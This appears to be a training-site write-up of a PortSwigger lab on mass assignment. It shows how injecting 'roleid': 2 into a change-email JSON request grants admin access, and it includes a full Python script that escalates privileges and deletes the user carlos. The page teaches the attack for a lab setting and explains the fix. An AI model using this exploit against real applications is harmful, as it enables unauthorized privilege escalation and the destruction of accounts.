LearnAccess Control › Lab: User role can be modified in user profile

Lab: User role can be modified in user profile

PortSwigger Apprentice Access Control

Original lab: Lab: User role can be modified in user profile on PortSwigger ↗

Profile update endpoints tend to be treated as low-risk by developers — what harm could changing your own email address do? But if the same request that updates your email also happens to echo back (and accept) fields that were never meant to be user-editable, "update my profile" quietly becomes "update my privileges."

The Target

Logged-in users can change the email address on their account via a JSON request to /my-account/change-email. The response to that request includes the account's roleid, which told us the field exists in the same data model the update endpoint writes to — the only open question was whether the endpoint was actually validating which fields it accepted.

The Investigation

Once we saw roleid reflected in a routine email-change response, the natural next step was to try sending it back on the request instead of just reading it. If the server was pulling the entire JSON body into an update against the user record without an allow-list of editable fields, adding roleid ourselves should update it right alongside the email.

The Exploit

Logged in as wiener, we sent the change-email request with an extra field injected into the JSON body:

{"email":"x@x.com","roleid": 2}    -- Inject roleid in change-email JSON request
resp = client.post(f"{base}/my-account/change-email", json={
    "email": "pwned@exploit.com",
    "roleid": 2
})

The update succeeded, and with roleid now set to the administrative value, /admin was reachable. We located carlos's delete link in the returned panel and followed it, which solved the lab.

Comparing Notes: PortSwigger's Official Solution

PortSwigger's solution reaches this through the same discovery: change the email address normally, notice the response contains the account's roleid, then send the change-email request to Burp Repeater with "roleid":2 added into the JSON body, and confirm the response shows the updated role before browsing to /admin to delete carlos. This is the exact technique we used — same injected field, same value, same underlying mass-assignment flaw.

The only difference is tooling: PortSwigger edits and resends the captured request by hand in Repeater, while our script sent the modified JSON directly through httpx. For a single crafted request like this one, that's a difference in workflow, not in the exploit itself.

What This Teaches Us

This is a textbook mass-assignment problem: the update handler bound the entire request body to the user record instead of an explicit list of fields a user is actually allowed to change. Reflecting roleid back in the response was the tell — anything the server is willing to *show* you about your own record in a write-path response is worth testing as something it might also be willing to *accept*. The fix is narrow and mechanical: the email-change endpoint should only ever touch the email field, with role changes handled by a completely separate, properly access-controlled code path.


The automated solution

Here's the full Python script that solves this lab against your own instance — the same technique from the writeup, packaged to run. View on GitHub.

Show the solution script (Python)
#!/usr/bin/env python3
"""
User role can be modified in user profile
PortSwigger Web Security Academy -- Access Control

Companion script for the writeup: 04-user-role-modified-in-user-profile.md

What this does:
    Logs in as wiener and sends the change-email request with an extra
    "roleid": 2 field injected into the JSON body. The endpoint has no
    allow-list of editable fields, so it writes roleid straight into the
    user record along with the email. With the role elevated, /admin becomes
    reachable; the script locates carlos's delete link and follows it.

Usage:
    python 04-user-role-modified-in-user-profile.py <lab-url>

Requirements:
    pip install httpx
"""

import re
import sys
import httpx
from urllib.parse import urljoin


def get_csrf(html: str) -> str:
    m = re.search(r'name="csrf"\s+value="([^"]+)"', html)
    return m.group(1) if m else ""


def login(client: httpx.Client, base: str, username: str, password: str) -> httpx.Response:
    login_page = client.get(f"{base}/login")
    csrf = get_csrf(login_page.text)
    return client.post(f"{base}/login", data={"csrf": csrf, "username": username, "password": password})


def solve(lab_url: str) -> None:
    client = httpx.Client(follow_redirects=True, timeout=15)

    login(client, lab_url, "wiener", "peter")

    resp = client.post(f"{lab_url}/my-account/change-email", json={
        "email": "pwned@exploit.com",
        "roleid": 2,
    })
    print(f"[*] Change email with roleid=2: {resp.status_code}")
    if resp.headers.get("content-type", "").startswith("application/json"):
        print(f"[*] Response: {resp.text[:300]}")

    resp = client.get(f"{lab_url}/admin")
    print(f"[*] /admin: {resp.status_code}")

    delete_match = re.search(r'href="([^"]*\?username=carlos[^"]*)"', resp.text, re.IGNORECASE)
    if not delete_match:
        delete_match = re.search(r'href="([^"]*delete[^"]*carlos[^"]*)"', resp.text, re.IGNORECASE)

    if delete_match:
        delete_path = delete_match.group(1)
        delete_url = f"{lab_url}{delete_path}" if delete_path.startswith("/") else urljoin(f"{lab_url}/admin/", delete_path)
        print(f"[*] Deleting carlos via: {delete_url}")
        client.get(delete_url)
    else:
        print("[*] No delete link found, trying common delete pattern")
        client.get(f"{lab_url}/admin/delete", params={"username": "carlos"})

    check = client.get(lab_url)
    if "Congratulations" in check.text:
        print("[+] Lab solved -- carlos deleted after roleid mass-assignment.")
    else:
        print("[-] Not solved yet -- check whether roleid=2 actually elevated the account.")


if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <lab-url>")
        sys.exit(1)
    solve(sys.argv[1].rstrip("/"))

Related labs

Want to go from zero to junior pentester?

These walkthroughs are a taste. The full path — live, hands-on, in a small cohort — starts with a free webinar.

Join the Free Live Webinar →